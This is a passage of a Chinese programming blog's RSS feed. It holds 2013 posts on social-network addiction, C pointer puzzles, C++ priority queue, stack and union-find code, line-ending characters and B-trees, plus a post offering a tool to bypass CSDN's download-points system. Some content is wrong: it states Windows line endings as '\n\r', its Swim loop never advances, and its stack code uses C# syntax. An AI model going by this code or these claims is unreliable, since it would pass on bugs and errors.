		cout&amp;lt;&amp;lt;&#34;此情况下无解&#34;&amp;lt;&amp;lt;endl;
	}

	return 0;
}&lt;/pre&gt;
&lt;p&gt;运行结果如下：&lt;/p&gt;</description>
    </item>
    <item>
      <title>[藏]社交网络，电子时代的人生绑架者</title>
      <link>http://blog.leaver.me/2013/05/13/%E8%97%8F%E7%A4%BE%E4%BA%A4%E7%BD%91%E7%BB%9C%E7%94%B5%E5%AD%90%E6%97%B6%E4%BB%A3%E7%9A%84%E4%BA%BA%E7%94%9F%E7%BB%91%E6%9E%B6%E8%80%85/</link>
      <pubDate>Mon, 13 May 2013 06:31:43 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/13/%E8%97%8F%E7%A4%BE%E4%BA%A4%E7%BD%91%E7%BB%9C%E7%94%B5%E5%AD%90%E6%97%B6%E4%BB%A3%E7%9A%84%E4%BA%BA%E7%94%9F%E7%BB%91%E6%9E%B6%E8%80%85/</guid>
      <description>&lt;p&gt;作者:&lt;a href=&#34;http://www.zhihu.com/people/fu-er&#34;&gt;负二&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;bystander:本文回答了你刷社交网络的内在因素.希望读到的人不只是读到那么简单.&lt;/p&gt;
&lt;p&gt;大家在互相打招呼之前，先各自拿出手机，其中几个人用手机“签到”，然后把“签到”信息转发给在场的每一个人，而另一些人则用手机给饭桌上的菜肴拍照，然后同样转发给在场的每一个人，直到各种提示音消失之后，大家开始一边动筷子，一边心不在焉地聊八卦，如果没有爆炸性的话题出现，吸引在场的每一个人的注意力，那么大家的注意力都会被自己的手机虏获——比如我会收到坐在对面的那人发来的一张用手指画的拙劣的涂鸦，然后让我根据此图猜一个单词。&lt;/p&gt;
&lt;p&gt;现在，一次聚餐的情景差不多就是这样，把一盘菜的照片转发给就坐在你身边和你一起吃饭的那个人，这种事说起来真是要多蠢有多蠢，但人们仍是乐此不疲——当一台饮水机都拥有一个微博账号时，我们意识到任何事情都已经无法阻止网络社交了，无论是美食还是同学聚会。&lt;/p&gt;
&lt;p&gt;大多数热衷于用手机刷新SNS网站的人并不认为对网络社交上瘾是什么问题——他们有种幻觉：需要的时候，我肯定能够克制自己，那肯定比戒烟容易。但事实并非如此，网络社交上瘾与烟瘾截然不同，如果你对它背后的机制有所了解，一定会对它能够利用人类心理的弱点到如此地步深感惊讶——一个正常人只要掉进这个圈套，就几乎不可能不对这玩意上瘾。&lt;/p&gt;
&lt;p&gt;如果你有过在泡论坛时不断刷新页面的经历，你就会明白社交网站的通知系统是一个多么精巧的引人上钩的设计——人们难以容忍等待，他们需要新状态的刺激，现代化的机场都将下飞机口到取行李处的距离设计得要多漫长有多漫长，就是为了避免旅客在取行李处叉着双手等行李，因为“走”比“等”更容易让人接受——而创造通知系统的产品经理们显然深谙此道，只要通知系统不断地给出状态更新的通知，就能够让人每天乖乖地登录，然后长时间地留在你的社交网站上，这一招就像用香肠逗狗一样好用。&lt;/p&gt;
&lt;p&gt;许多人认为社交网站降低了人与人之间交流的成本，促进了信息流动和世界大同——他们显然是被Facebook、新浪微薄之类的网站给蒙骗了；而对人类社会的本质有所了解的人则会同意窥私欲是支撑社交网站的动力之一——有一定道理，人们总是有无穷的动力想去瞧瞧多年不见的老朋友、老同学，或是初恋情人，看他们是不是过得比自己更差，我的表弟曾向我坦白，在他听说前女友离婚的消息后，他曾连续一个月关注她的微博和开心网账号，并且觉得很爽——巴菲特说，竞争并不是推动人类前进的动力，嫉妒才是。&lt;/p&gt;
&lt;p&gt;但实际上，窥私欲在社交网络这盘大菜中顶多只能算是几滴酱油——如果你对人性有更透彻的认识，你会从“把一盘菜的照片转发给和你一起吃饭的每一个人”这一举动上看到更深层次的动机。只有够自恋的人才会认为“我在吃这盘菜”这件事很重要，重要到有必要让每个人知道的地步——不幸的是，这世界上除了抑郁症患者，每个人都够自恋，你只要稍加注意就会发现，社交网络中的大多数信息都与“交流”没半毛钱关系，只是某人发布的“自以为很重要”的自我推销信息而已。根据“人类自我表现理论”，人们的自我表现往往根据相互关系中对方的特点而采取某种相应的对策，人们会不断地调节和控制呈现给其他人的信息，特别是有关自我的信息，以便建立起有利于自己的形象——所以人们会狂热地维护自己的微博形象，对隐私泄露视而不见，而对爱你的家人恶言相向。&lt;/p&gt;
&lt;p&gt;最新的研究表明，热衷社交网络，也很有可能是你不够成功的表现——美国人4个中有3个是Facebook用户，但在可支配财产超过100万美元的人群中，这一比例只有26%，而百万富翁中上Twitter的比例更是只有可怜的3%——心理学家指出，原因可能是财富给予人更多的独立意识，对他人的依赖越少，对他人就越少在意，产生自我关注的倾向。想必扎克伯格自己也不会一天到晚泡在自己的网站上——而这世界上大多数人都“不够成功”，毫无疑问。&lt;/p&gt;
&lt;p&gt;只要看透这一切，你就会明白，社交网络热潮，根本不是什么科技革命，它只不过是人性弱点的一次集中爆发而已，并且在它不为人所见的屁股后面，多多少少都能闻出一丝阴谋家的味道——自由软件基金会主席Richard Stallman认为，基于实名制的Facebook是一个国际寄生项目，而Jonathan Nolan（《盗梦空间》编剧）则在他的新剧中直接说，Facebook的幕后金主其实是CIA，自从全世界的人们都那么乐意泄露隐私后，CIA的工作简单了不少。&lt;/p&gt;
&lt;p&gt;现在看来，远离通知提示音的诱惑，从社交网络那里为自己“赎身”，才是人生正途。&lt;/p&gt;</description>
    </item>
    <item>
      <title>[已失效]Csdn免积分下载器</title>
      <link>http://blog.leaver.me/2013/05/01/%E5%B7%B2%E5%A4%B1%E6%95%88csdn%E5%85%8D%E7%A7%AF%E5%88%86%E4%B8%8B%E8%BD%BD%E5%99%A8/</link>
      <pubDate>Wed, 01 May 2013 20:39:52 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/01/%E5%B7%B2%E5%A4%B1%E6%95%88csdn%E5%85%8D%E7%A7%AF%E5%88%86%E4%B8%8B%E8%BD%BD%E5%99%A8/</guid>
      <description>&lt;p&gt;作者：bystander&lt;/p&gt;
&lt;p&gt;转载请注明来源:&lt;a href=&#34;http://leaver.me&#34;&gt;http://leaver.me&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;原理很简单，目前好像还没有大规模传开，我就不透露了，大家低调使用.为了方便，我写了个客户端，下载地址在文章末尾&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/35412_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/c14131e3f22197232347a8230c51cb661e50f167.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;使用方法直接把你想下载的地址复制过去，点击下载就会调用ie来下载了.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;文章太短了，发两个可乐的吧：&lt;/p&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;第一个是：&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;＂网上发言，请不要随便自称笔者，毕竟有没有在用笔在写一目了然。这个词汇已经要汇入历史长河了，虽然曾经的那么疯狂存在过，但至少在互联网上该消失了。＂&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;＂那以后自称什么？＂&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;＂键人。＂&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;----------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div&gt;第二个：&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;---光棍君：五一快到了，你还是一个人吗？&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;  ---你MB，难道我会变成狗吗？&lt;/div&gt;
&lt;div&gt;----------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div&gt;第一个冷笑话，第二个是热笑话，冷暖自知。一个成语瞬间提升了整篇文章的境界。&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
下载地址：[Csdn下载器](http://pan.baidu.com/share/link?shareid=468747&amp;amp;uk=1493685990)</description>
    </item>
    <item>
      <title>一道笔试指针题目详解</title>
      <link>http://blog.leaver.me/2013/04/17/%E4%B8%80%E9%81%93%E7%AC%94%E8%AF%95%E6%8C%87%E9%92%88%E9%A2%98%E7%9B%AE%E8%AF%A6%E8%A7%A3/</link>
      <pubDate>Wed, 17 Apr 2013 08:34:39 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/04/17/%E4%B8%80%E9%81%93%E7%AC%94%E8%AF%95%E6%8C%87%E9%92%88%E9%A2%98%E7%9B%AE%E8%AF%A6%E8%A7%A3/</guid>
      <description>&lt;p&gt;看到本题是在搜狗某年的笔试题上,看也没人给出非常详细的讲解,直接给出了答案,我来尝试写一写,&lt;/p&gt;
&lt;p&gt;貌似本题来源自&amp;lt;**The C Puzzle Book&amp;gt; ，**搜狗也只是换了一下字符串，直接看题吧&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#include &amp;lt;stdio.h&amp;gt;
char *c[]={&#34;ENTNG&#34;, &#34;NST&#34;,&#34;AMAZI&#34;,&#34;FIRBE&#34;};
char** cp[]={c+3, c+2, c+1, c};
char ***cpp= cp;
int main() {
    printf(&#34;%s&#34;,**++cpp);
    printf(&#34;%s &#34;,*--*++cpp+3);
    printf(&#34;%s&#34;,*cpp[-2]+3);
    printf(&#34;%s&#34;,cpp[-1][-1]+1);
}&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;span style=&amp;quot;font-family: Georgia, &#39;Times New Roman&#39;, &#39;Bitstream Charter&#39;, Times, serif; font-size: 13px; line-height: 19px;&amp;quot;&amp;gt;请写出程序的执行结果....&amp;lt;/span&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;首先从左到右看：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;char *c[]= {
              &#34;ENTNG&#34;, 
              &#34;NST&#34;,
              &#34;AMAZI&#34;,
              &#34;FIRBE&#34;
            };&lt;/pre&gt;
&lt;p&gt;*c[] 是一个字符，因此，c[]是指向该字符，c就是一个数组（数组的内容为指向字符的指针），c已经被初始化了.&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;char** cp[]={c+3, c+2, c+1, c};&lt;/pre&gt;
&lt;p&gt;再看第二行，**cp[]是一个字符，*cp[]就是一个指针，指向该字符，cp[]就是一个指针，指向该指针，而cp就成为了指针数组，内容是指向字符的指针的指针。并且通过c的元素进行了初始化&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;char ***cpp= cp;&lt;/pre&gt;
&lt;p&gt;第三行，***cpp是一个字符，**cpp指向该字符，*cpp指向该指针，cpp就指向该字符的指针的指针.&lt;/p&gt;
&lt;p&gt;然后我画一张图表示初始的情况看看&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/35001_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ec5c34f9784a9f2a30d7a044ee954099a6e32e78.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后对于下面的输出语句，通过操作符优先级使用括号来区分一下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;*(*(++cpp));&lt;/pre&gt;
&lt;p&gt;这个嘛，就是把cpp后移(注意cpp已经改变了)然后就指向了cp[1]，然后两次取其值即可得到AMAZI&lt;/p&gt;
&lt;p&gt;推导过程如下：&lt;/p&gt;
&lt;address&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;++cpp -&amp;gt; cp[1]       // cp[1] -&amp;gt; c+2
++cpp = &amp;amp;cp[1]       // &amp;amp;(c+2)
*++cpp = *(&amp;amp;c+2)     //  c[2]
**++cpp = *&amp;amp;c[2]&lt;/pre&gt;
&lt;/address&gt;然后看第二个
&lt;pre class=&#34;lang:default decode:true&#34;&gt;(*(--(*(++cpp))))+3;&lt;/pre&gt;
加括号后如上，cpp再加一，就指向了cp[2],取一次值（也就是*号）就变成了c[1],然后--c[1]就指向了c[0],取值就成了c[0]的地址，然后地址+3，就是NG了
&lt;pre class=&#34;lang:default decode:true&#34;&gt;(*(cpp[-2]))+3;&lt;/pre&gt;
上面，cpp指向cp[2]了，然后呢，cpp[-2] 相当于*(cpp-2)，间接引用cp[2]，这样cpp[-2]就指向了cp[0]了，然后，就是FIRBE了,加3就是BE了
&lt;p&gt;最后&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;(cpp[-1][-1])+1;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;cpp还是之前的cp[2]，cpp[-1][-1]相当于*(*(cpp-1)-1),先减1指向了cp[1],取一次值就是c[2]了，然后c[2]-1就成为c[1]了，然后+1之后就是ST了.&lt;/p&gt;
&lt;p&gt;所以，最后输出就是&lt;/p&gt;
&lt;p&gt;AMAZINGBEST&lt;/p&gt;
&lt;p&gt;错误之处还望指正.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>模板优先级队列及堆排序(C&#43;&#43;实现)</title>
      <link>http://blog.leaver.me/2013/04/16/%E6%A8%A1%E6%9D%BF%E4%BC%98%E5%85%88%E7%BA%A7%E9%98%9F%E5%88%97%E5%8F%8A%E5%A0%86%E6%8E%92%E5%BA%8Fc-%E5%AE%9E%E7%8E%B0/</link>
      <pubDate>Tue, 16 Apr 2013 08:42:58 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/04/16/%E6%A8%A1%E6%9D%BF%E4%BC%98%E5%85%88%E7%BA%A7%E9%98%9F%E5%88%97%E5%8F%8A%E5%A0%86%E6%8E%92%E5%BA%8Fc-%E5%AE%9E%E7%8E%B0/</guid>
      <description>&lt;p&gt;模板优先级队列，数组实现，再熟悉一下常用算法，同时简单的堆排序应用&lt;/p&gt;
&lt;p&gt;写了一个是队列自增长，另一个为了演示我还添加了一个叫做FillPq的方法，这个方法可以使用一个数组直接填充到优先级队列里，此时，优先级队列并不优先，然后进行下滤调整，之后建堆完成，输出即可&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#include &#34;stdafx.h&#34;

template&amp;lt; class T&amp;gt;
class PriorityQueue
{
private:
	 T *pq;
	 int N;
	 int capacity;
public:
	PriorityQueue(void);
	~PriorityQueue(void);
	void Insert(T x);
	T DelTop();
	void Swim(int k);
	void Sink(int k);
	bool Less(int i,int j);
	void Swap(int i,int j);
	bool Resize();
	void FillPq(T arr[],int size);
};

template&amp;lt; class T&amp;gt;
void PriorityQueue&amp;lt;T&amp;gt;::FillPq( T arr[],int size )
{
	N=size;
	capacity=2*size;
	for (int i=0;i&amp;lt;size;i++)
	{
		pq[i+1]=arr[i];
	}
}

template&amp;lt; class T&amp;gt;
PriorityQueue&amp;lt;T&amp;gt;::PriorityQueue(void)
{
	pq=new T[10];
	N=0;
	capacity=10;
}

template&amp;lt; class T&amp;gt;
void PriorityQueue&amp;lt;T&amp;gt;::Insert( T x )
{
	if (N==capacity)
	{
		Resize();
	}
	pq[++N]=x;
	Swim(N);
}

template&amp;lt; class T&amp;gt;
T PriorityQueue&amp;lt;T&amp;gt;::DelTop()
{
	T max=pq[1];
	Swap(1,N--);
	Sink(1);
	pq[N+1]=NULL;
	return max;
}
//下滤
template&amp;lt; class T&amp;gt;
void PriorityQueue&amp;lt;T&amp;gt;::Sink( int k )
{
	while (2*k&amp;lt;=N)
	{
		int j=2*k;
		if (j&amp;lt;N &amp;amp;&amp;amp; Less(j,j+1))
		{
			j++;
		}
		if (!Less(k,j))
		{
			break;
		}
		Swap(k,j);
		k=j;
	}
}
//上浮
template&amp;lt; class T&amp;gt;
void PriorityQueue&amp;lt;T&amp;gt;::Swim( int k )
{
	while (k&amp;gt;1 &amp;amp;&amp;amp; Less(k/2,k))
	{
		Swap(k,k/2);
	}
}

template&amp;lt; class T&amp;gt;
void PriorityQueue&amp;lt;T&amp;gt;::Swap( int i,int j )
{
	T temp=pq[i];
	pq[i]=pq[j];
	pq[j]=temp;
}

template&amp;lt; class T&amp;gt;
bool PriorityQueue&amp;lt;T&amp;gt;::Less( int i,int j )
{
	return pq[i]&amp;lt;pq[j];
}

template&amp;lt; class T&amp;gt;
bool PriorityQueue&amp;lt;T&amp;gt;::Resize()
{
	T *newPq=new T[capacity*2];
	capacity=capacity*2;
	for (int i=1;i&amp;lt;=N;i++)
	{
		newPq[i]=pq[i];
	}
	pq=newPq;
	return true;
}

template&amp;lt; class T&amp;gt;
PriorityQueue&amp;lt;T&amp;gt;::~PriorityQueue(void)
{
}&lt;/pre&gt;
&lt;p&gt;然后是堆排序&lt;/p&gt;</description>
    </item>
    <item>
      <title>模板栈以及中缀表达式求值(C&#43;&#43;实现)</title>
      <link>http://blog.leaver.me/2013/04/11/%E6%A8%A1%E6%9D%BF%E6%A0%88%E4%BB%A5%E5%8F%8A%E4%B8%AD%E7%BC%80%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B1%82%E5%80%BCc-%E5%AE%9E%E7%8E%B0/</link>
      <pubDate>Thu, 11 Apr 2013 18:50:25 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/04/11/%E6%A8%A1%E6%9D%BF%E6%A0%88%E4%BB%A5%E5%8F%8A%E4%B8%AD%E7%BC%80%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B1%82%E5%80%BCc-%E5%AE%9E%E7%8E%B0/</guid>
      <description>&lt;p&gt;栈直接用链表实现，这个比较简单，不多说，不过C++写程序，IDE的错误检测不是很给力。&lt;/p&gt;
&lt;p&gt;至于给定一个中缀表达式，如何不转换成后缀表达式，直接求值，方法就是使用两个栈，一个操作符栈，一个操作数栈，然后从左到右扫描表达式，我这里中缀表达式计算实现的很简单，不完整，大家可以扩展。栈的实现是我想写的，思路如下：&lt;/p&gt;
&lt;p&gt;1.如何是操作数，压入操作数栈&lt;/p&gt;
&lt;p&gt;2.如果是操作符，压入操作符栈&lt;/p&gt;
&lt;p&gt;3.如果是左括号，直接忽略&lt;/p&gt;
&lt;p&gt;4.如果是有括号，弹出操作符栈栈顶元素，然后弹出操作数栈两个元素，进行操作以后结果压入操作数栈&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;看个图就好了&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/34863_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d0b2eed86d2ba2b987d3e5db380b9a452e8f5f87.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;最后给出栈顶实现代码&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#include &#34;stdafx.h&#34;
#pragma region Node定义

template &amp;lt;class T&amp;gt;
class Node
{
	template&amp;lt;class T&amp;gt; 
	friend class Stack;
private:
	T m_data;
	Node *pNextNode;
public:
	Node();
	Node(T d);
};

template &amp;lt;class T&amp;gt;
Node&amp;lt;T&amp;gt;::Node()
{
	m_data=default(T);
	pNextNode=NULL;
}
template &amp;lt;class T&amp;gt;
Node&amp;lt;T&amp;gt;::Node(T d)
{
	m_data=d;
	pNextNode=NULL;
}
#pragma endregion 

#pragma region Stack定义

template &amp;lt;class T&amp;gt;
class Stack
{

private:
	Node&amp;lt;T&amp;gt; *m_pTopNode;
	int m_nNodeCount;
public:
	Stack();
	~Stack();
	bool IsEmpty();
	bool Push(T e);
	T Pop();
	int Size();
};

template &amp;lt;class T&amp;gt;
Stack&amp;lt;T&amp;gt;::Stack() : m_pTopNode(NULL),m_nNodeCount(0)
{
}

template &amp;lt;class T&amp;gt;
Stack&amp;lt;T&amp;gt;::~Stack()
{
	while (!IsEmpty())
	{
		Node&amp;lt;T&amp;gt; *pTempNode = m_pTopNode;
		m_pTopNode = m_pTopNode-&amp;gt;pNextNode;
		delete (pTempNode);
		pTempNode = NULL;
	}
	m_nNodeCount = 0;
	m_pTopNode = NULL;
}

template &amp;lt;class T&amp;gt;
bool Stack&amp;lt;T&amp;gt;::IsEmpty()
{
	return (m_pTopNode == NULL);
}

template &amp;lt;class T&amp;gt;
bool Stack&amp;lt;T&amp;gt;::Push(T e )
{
	Node&amp;lt;T&amp;gt; *pNewNode = new Node&amp;lt;T&amp;gt;(e);
	if (NULL == pNewNode)     {
		return false;
	}

	if(! IsEmpty()) {
		pNewNode-&amp;gt;pNextNode = m_pTopNode;
	}
	m_pTopNode = pNewNode;
	m_nNodeCount ++;

	return true;
}

template &amp;lt;class T&amp;gt;
T Stack&amp;lt;T&amp;gt;::Pop()
{
	if(IsEmpty()) {
		return T(-1);
	}
	T e;
	e = m_pTopNode-&amp;gt;m_data;
	Node&amp;lt;T&amp;gt; *pNode = m_pTopNode;
	m_pTopNode = m_pTopNode-&amp;gt;pNextNode;
	delete (pNode);
	m_nNodeCount--;

	return e;
}

template &amp;lt;class T&amp;gt;
int Stack&amp;lt;T&amp;gt;::Size()
{
	return m_nNodeCount;
}
#pragma endregion&lt;/pre&gt;
&lt;p&gt;然后是main函数代码&lt;/p&gt;</description>
    </item>
    <item>
      <title>并查集(C&#43;&#43;实现)</title>
      <link>http://blog.leaver.me/2013/04/11/%E5%B9%B6%E6%9F%A5%E9%9B%86c-%E5%AE%9E%E7%8E%B0/</link>
      <pubDate>Thu, 11 Apr 2013 08:45:38 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/04/11/%E5%B9%B6%E6%9F%A5%E9%9B%86c-%E5%AE%9E%E7%8E%B0/</guid>
      <description>&lt;p&gt;并查集这个很有意思，并查集是一种树型的数据结构，用于处理一些不相交集合（Disjoint Sets）的合并及查询问题。昨天看书看到了，然后用C++简单实现了下。在Dijkstra算法中，用来判断两个顶点是否在同一个集合里。&lt;/p&gt;
&lt;p&gt;里面定义了两个类，都是并查集，一个是QuickFind，查找很快，一个是QuickUnion，合并较快。写了一些注释，有一些优化的提示.看代码吧，有什么问题指出来吧。&lt;/p&gt;
&lt;p&gt;QuickFind的实现&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#include &#34;QuickFind.h&#34;

QuickFind::QuickFind(int N)
{
	size=N;
	id=new int[N];
	for(int i=0;i&amp;lt;N;i++)
	{
		id[i]=i;
	}
}

bool QuickFind::Find(int p,int q)
{
	return id[p]==id[q];
}

void QuickFind::Unite(int p,int q)
{
	int pid=id[p];
	for(int i=0;i&amp;lt;size;i++)
		if(id[i]==pid)
			id[i]=id[q];

}
QuickFind::~QuickFind(void)
{
	delete []id;
}&lt;/pre&gt;
&lt;p&gt;QuickUnion的实现&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#include &#34;QuickUnion.h&#34;

QuickUnion::QuickUnion(int N)
{
	size=N;
	id=new int[N];
	for(int i=0;i&amp;lt;N;i++)
	{
		id[i]=i;
	}
}
int QuickUnion::root(int i)
{
	while (i!=id[i])
	{
		//id[i]=id[id[i]]; 若添加这句话则为压缩路径
		i=id[i];
	}
	return i;
}
bool QuickUnion::Find(int p,int q)
{
	return root(p)==root(q);
}

void QuickUnion::Unite(int p,int q)
{
	//将p的根挂在q的根上，
	//这样会导此数变高，若需要优化，需要设置另一个
	//数组sz[]，sz[i]表示所以根为i的节点的数目，然后将
	//小树靠在大树上

	/*
	int i=root(p);
	int j=root(q);
	if(sz[i]&amp;lt;sz[j])
	{
		id[i]=j;sz[j]+=sz[i];
	}
	else
	{
		id[j]=i;sz[i]+=sz[j];
	}*/
	int rootp=root(p);
	int rootq=root(q);
	id[rootp]=rootq;
}
QuickUnion::~QuickUnion(void)
{
	delete []id;
}&lt;/pre&gt;
&lt;p&gt;参考文档(英文)：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=436984&amp;amp;uk=1493685990&#34;&gt;UnionFind.pdf&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;工程代码下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=436978&amp;amp;uk=1493685990&#34;&gt;并查集Demo&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>和
浅析</title>
      <link>http://blog.leaver.me/2013/04/05/%E5%92%8C-%E6%B5%85%E6%9E%90/</link>
      <pubDate>Fri, 05 Apr 2013 13:29:04 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/04/05/%E5%92%8C-%E6%B5%85%E6%9E%90/</guid>
      <description>&lt;p&gt;这两个转义字符最初学习C++的时候看到了,当时没多想，后来某一天突然想起来，回车不就是换行吗？这不是多此一举吗？今天又看到，索性查了下相关资料，整理一下，留作记录.&lt;/p&gt;
&lt;p&gt;关于“回车”（carriage return）和“换行”（line feed）这两个概念的来历和区别。&lt;/p&gt;
&lt;p&gt;在计算机还没有出现之前，有一种叫做电传打字机（Teletype Model 33）的玩意，每秒钟可以打10个字符。但是它有一个问题，就是打完一行换行的时候，要用去0.2秒，正好可以打两个字符。要是在这0.2秒里面，又有新的字符传过来，那么这个字符将丢失。&lt;/p&gt;
&lt;p&gt;于是，研制人员想了个办法解决这个问题，就是在每行后面加两个表示结束的字符。一个叫做“回车”，告诉打字机把打印头定位在左边界；另一个叫做“换行”，告诉打字机把纸向下移一行（这句的意思是把纸向上拉，然后打印头就定位到了下一行），可以想象一下，这个打印头只能在一个固定的水平线上左右移动，而不能上下移动，我们通过移动纸来完成打印下一行。&lt;/p&gt;
&lt;p&gt;不明白的我在youtube上找到一个这种打字机的演示视频，为了方便读者观看，我提供一个&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=428006&amp;amp;uk=1493685990&#34;&gt;下载地址&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;后来，计算机发明了，这两个概念也就被般到了计算机上。那时，存储器很贵，一些科学家认为在每行结尾加两个字符太浪费了，加一个就可以。于是，就出现了分歧。&lt;/p&gt;
&lt;p&gt;Unix系统里，每行结尾只有&amp;quot;&amp;lt;换行&amp;gt;&amp;quot;，即&amp;quot;\n&amp;quot;；&lt;/p&gt;
&lt;p&gt;Windows系统里面，每行结尾是&amp;quot;&amp;lt;换行&amp;gt;&amp;lt;回车&amp;gt;&amp;quot;，即&amp;quot;\n\r&amp;quot;；&lt;/p&gt;
&lt;p&gt;Mac系统里，每行结尾是&amp;quot;&amp;lt;回车&amp;gt;&amp;quot;，不过mac基于unix，所以换行也应该是可以的。&lt;/p&gt;
&lt;p&gt;一个直接后果是，Unix/Mac系统下的文件在Windows里打开的话，所有文字会变成一行；而Windows里的文件在Unix/Mac下打开的话，在每行的结尾可能会多出一个^M符号。这个如果你在windows下使用vim也会发现这个情况&lt;/p&gt;
&lt;p&gt;用C++来说明&lt;/p&gt;
&lt;p&gt;如：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;int main() 
{
   cout &amp;lt;&amp;lt; &#34;leaver.me&#34; &amp;lt;&amp;lt; &#34;\r&#34; &amp;lt;&amp;lt; &#34;bystander&#34; ;
   return 0;
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;最后只显示 bystander 而 leaver.me 背覆盖了&lt;/p&gt;
&lt;p&gt;\n 是换行，系统会将其替换成回车＋换行 把光标 先移到 行首 然后换到下一行 也就是 下一行的行首拉&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;int main() 
{
   cout &amp;lt;&amp;lt; &#34;leaver.me&#34; &amp;lt;&amp;lt; &#34;\n&#34; &amp;lt;&amp;lt; &#34;bystander&#34; ;
   return 0;
}&lt;/pre&gt;
&lt;p&gt;则 显示&lt;/p&gt;
&lt;p&gt;leaver.me&lt;/p&gt;
&lt;p&gt;bystander&lt;/p&gt;
&lt;p&gt;一句话，这看起来是一个历史遗留问题&amp;hellip;&amp;hellip;&lt;/p&gt;</description>
    </item>
    <item>
      <title>[藏]关于B树的一篇文章</title>
      <link>http://blog.leaver.me/2013/04/01/%E8%97%8F%E5%85%B3%E4%BA%8Eb%E6%A0%91%E7%9A%84%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0/</link>
      <pubDate>Mon, 01 Apr 2013 18:12:37 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/04/01/%E8%97%8F%E5%85%B3%E4%BA%8Eb%E6%A0%91%E7%9A%84%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0/</guid>
      <description>&lt;p&gt;很多人对B树的理解有很多错误，我看的最多的就是有人混淆二叉树（Binary Tree）和B树（B-Tree）,二叉树是不用简称，也就是BT的，而特殊一点的二叉搜索树才会用BST(Binary Search Tree),至于B-树和B树，这两个其实一样的，英文都是(B-Tree)，注意看中间的-号，这个是国内翻译的问题.所以大家不要被误导.&lt;/p&gt;
&lt;p&gt;Rudolf Bayer 和 Ed McCreight 于1972年，在Boeing Research Labs 工作时发明了B 树，但是他们没有解释B 代表什么意义（如果有的话）.Douglas Comer 解释说: 两位作者从来都没解释过B树的原始意义。我个人觉得很有可能是他的名字，程序员对其作品的一种情结吧.&lt;/p&gt;
&lt;p&gt;这篇文章来自国外,是某大学的CS课程在线的,由于有时候无法访问，我直接提供PDF版,对其构造过程非常清晰.非常非常好的B树教程,图示很多,就不翻译了,强烈推荐阅读！&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=404077&amp;amp;uk=1493685990&#34;&gt;B树讲解&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>[藏]熬就一个字</title>
